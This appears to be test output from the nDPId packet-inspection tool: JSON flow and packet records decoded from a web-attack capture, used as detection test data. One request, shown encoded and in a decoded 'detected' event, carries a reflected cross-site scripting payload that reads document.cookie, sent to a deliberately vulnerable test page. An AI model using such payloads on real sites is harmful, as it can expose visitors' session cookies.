+00432{"flow_id":414,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5912,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347673,"pkt_ts_usec":803925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TFBAAD4GeYisEAABwKgKMukCAFANB9+qNpaOyYAQAOVZ9AAAAQEICgE7mX8D5Wr0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5916,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":418,"flow_packet_id":1,"flow_first_seen":1499347674433,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59718,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":418,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5916,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":433683,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DFZAAD4GuXqsEAABwKgKMulGAFBSGZZKAAAAAKACchDxsQAAAgQFtAQCCAoBO5ocAAAAAAEDAwc="} +00444{"flow_id":418,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5917,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":433829,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6UarF0RiUhmWS6AScSCToAAAAgQFtAQCCAoD5WuRATuaHAEDAwc="} +00432{"flow_id":418,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5918,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":434572,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DFdAAD4GuYGsEAABwKgKMulGAFBSGZZLqxdEY4AQAOUypwAAAQEICgE7mh0D5WuR"} +00432{"flow_id":415,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5922,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":803752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XbhAAD4GaCCsEAABwKgKMukQAFClPsiVMziaTIARAOXUAAAAAQEICgE7mnkD5WaX"} +00432{"flow_id":415,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5923,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":804004,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08aJAAEAG0jXAqAoyrBAAAQBQ6RAzOJpMpT7IloARAOPOqgAAAQEICgPla+4BO5p5"} +00432{"flow_id":415,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5924,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347674,"pkt_ts_usec":804525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XblAAD4GaB+sEAABwKgKMukQAFClPsiWMziaTYAQAOXOqAAAAQEICgE7mnkD5Wvu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5928,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":419,"flow_packet_id":1,"flow_first_seen":1499347675703,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59732,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":419,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5928,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":703973,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jIRAAD4GOUysEAABwKgKMulUAFDpsRfeAAAAAKACchDXOQAAAgQFtAQCCAoBO5taAAAAAAEDAwc="} +00445{"flow_id":419,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5929,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":704095,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6VSdi3bc6bEX36AScSBS\/AAAAgQFtAQCCAoD5WzPATubWgEDAwc="} +00432{"flow_id":419,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5930,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":704650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jIVAAD4GOVOsEAABwKgKMulUAFDpsRffnYt23YAQAOXyAwAAAQEICgE7m1oD5WzP"} +00432{"flow_id":416,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5934,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":803793,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Rc9AAD4GgAmsEAABwKgKMukeAFDr3NOYZRejP4ARAOVFTQAAAQEICgE7m3MD5WfP"} +00433{"flow_id":416,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5935,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":803982,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0z9dAAEAG9ADAqAoyrBAAAQBQ6R5lF6M\/69zTmYARAONANQAAAQEICgPlbOgBO5tz"} +00432{"flow_id":416,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5936,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347675,"pkt_ts_usec":804558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0RdBAAD4GgAisEAABwKgKMukeAFDr3NOZZRejQIAQAOVAMwAAAQEICgE7m3MD5Wzo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5946,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":420,"flow_packet_id":1,"flow_first_seen":1499347678198,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59758,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":420,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5946,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":198689,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86nhAAD4G21esEAABwKgKMuluAFCn23eyAAAAAKACchC2sQAAAgQFtAQCCAoBO53KAAAAAAEDAwc="} +00445{"flow_id":420,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5947,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":198840,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6W5MMi3pp9t3s6AScSDKUAAAAgQFtAQCCAoD5W8\/ATudygEDAwc="} +00433{"flow_id":420,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5948,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":199565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06nlAAD4G216sEAABwKgKMuluAFCn23ezTDIt6oAQAOVpWAAAAQEICgE7ncoD5W8\/"} +00432{"flow_id":417,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5952,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":803858,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09tdAAD4GzwCsEAABwKgKMuk4AFAtrG4ObinOqIARAOUvBwAAAQEICgE7nmED5WpN"} +00432{"flow_id":417,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5953,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":804064,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oX5AAEAGIlrAqAoyrBAAAQBQ6ThuKc6oLaxuD4ARAOMpfwAAAQEICgPlb9YBO55h"} +00433{"flow_id":417,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5954,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347678,"pkt_ts_usec":804824,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09thAAD4Gzv+sEAABwKgKMuk4AFAtrG4PbinOqYAQAOUpfQAAAQEICgE7nmED5W\/W"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":376,"flow_packet_id":6,"flow_first_seen":1499347604752,"flow_last_seen":1499347609784,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58974,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":376,"flow_packet_id":6,"flow_first_seen":1499347604752,"flow_last_seen":1499347609784,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58974,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":377,"flow_packet_id":6,"flow_first_seen":1499347606078,"flow_last_seen":1499347611787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58988,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":377,"flow_packet_id":6,"flow_first_seen":1499347606078,"flow_last_seen":1499347611787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":378,"flow_packet_id":6,"flow_first_seen":1499347607344,"flow_last_seen":1499347612785,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59002,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":378,"flow_packet_id":6,"flow_first_seen":1499347607344,"flow_last_seen":1499347612785,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59002,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":379,"flow_packet_id":6,"flow_first_seen":1499347608596,"flow_last_seen":1499347613787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59016,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":379,"flow_packet_id":6,"flow_first_seen":1499347608596,"flow_last_seen":1499347613787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59016,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":381,"flow_packet_id":6,"flow_first_seen":1499347612465,"flow_last_seen":1499347617785,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59056,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":381,"flow_packet_id":6,"flow_first_seen":1499347612465,"flow_last_seen":1499347617785,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59056,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":382,"flow_packet_id":6,"flow_first_seen":1499347613718,"flow_last_seen":1499347618787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59070,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":382,"flow_packet_id":6,"flow_first_seen":1499347613718,"flow_last_seen":1499347618787,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59070,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5955,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":342,"flow_packet_id":315,"flow_first_seen":1499347547687,"flow_last_seen":1499347614979,"flow_tot_l4_data_len":242778,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1902,"flow_avg_l4_data_len":770,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58360,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5961,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":421,"flow_packet_id":1,"flow_first_seen":1499347679469,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59772,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":421,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5961,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":469718,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80KNAAD4G9SysEAABwKgKMul8AFCXJE+kAAAAAKACchDuKwAAAgQFtAQCCAoBO58HAAAAAAEDAwc="} +00444{"flow_id":421,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5962,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":469836,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ6XyRTq6MlyRPpaAScSA6zgAAAgQFtAQCCAoD5XB8ATufBwEDAwc="} +00432{"flow_id":421,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5963,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":470613,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00KRAAD4G9TOsEAABwKgKMul8AFCXJE+lkU6ujYAQAOXZ1AAAAQEICgE7nwgD5XB8"} +01215{"flow_id":419,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5964,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":471019,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9jIZAAD4GNwmsEAABwKgKMulUAFDpsRffnYt23YAYAOVfggAAAQEICgE7nwgD5WzPR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdTWkdHSlJYWDZEUjlWV0tOODY0SDhMVEJFWjZRQzNHSlBDOFRVVU5BRUQzQkJMNEw4UCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00917{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5964,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":419,"flow_packet_id":4,"flow_first_seen":1499347675703,"flow_last_seen":1499347679471,"flow_tot_l4_data_len":729,"flow_min_l4_data_len":32,"flow_max_l4_data_len":617,"flow_avg_l4_data_len":182,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59732,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/?name=%3Cscript%3Econsole.log%28%27SZGGJRXX6DR9VWKN864H8LTBEZ6QC3GJPC8TUUNAED3BBL4L8P%27%29%3Bconsole.log%28document.cookie%29%3B%3C%2Fscript%3E","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":418,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5965,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":471025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DFhAAD4GuYCsEAABwKgKMulGAFBSGZZLqxdEY4ARAOUtuwAAAQEICgE7nwgD5WuR"} +00432{"flow_id":419,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5966,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":471095,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BqBAAEAGvTjAqAoyrBAAAQBQ6VSdi3bd6bEaKIAQAOzoVwAAAQEICgPlcH0BO58I"} +00432{"flow_id":418,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5967,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":471187,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NB5AAEAGj7rAqAoyrBAAAQBQ6UarF0RjUhmWTIARAOMo0AAAAQEICgPlcH0BO58I"} +00432{"flow_id":418,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5968,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":471657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DFlAAD4GuX+sEAABwKgKMulGAFBSGZZMqxdEZIAQAOUozgAAAQEICgE7nwgD5XB9"} +02957{"flow_id":419,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5969,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347679,"pkt_ts_usec":474571,"pkt_caplen":1934,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1934,"pkt_l4_len":1900,"pkt":"AMGxFOsxABm5CmnxCABFAAeABqFAAEAGtevAqAoyrBAAAQBQ6VSdi3bd6bEaKIAYAOx+XgAAAQEICgPlcH4BO58ISFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI3OjU5IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWHtPGzkQ\/xukfgefTzqgEuvmqCqgyVYk4dVL25SEx1UnrZxdJzHxrhfbm8C3v\/E+kuUZtkFCwWvP4zee8XjG79brf7R\/tPr\/dg\/R2IQCdc+bndMWwtuEXO60CGn32+jqpP+tg2rOB9QzivuGkMPvGOGxMfE+IbPZzJntOFKNSP+M3FopNcuWD7d1yuMEJsDuu\/V36\/VUz20oIt14QkZtb28vY83I1+pjRgMYrq3VQ2Yosizb7Cbh0wZuyciwyGz372KGkZ99NbBht4ZYEZ+RP6ZKM9M47x9t72JEMplrdcONYO5FIiKm6IALbu720R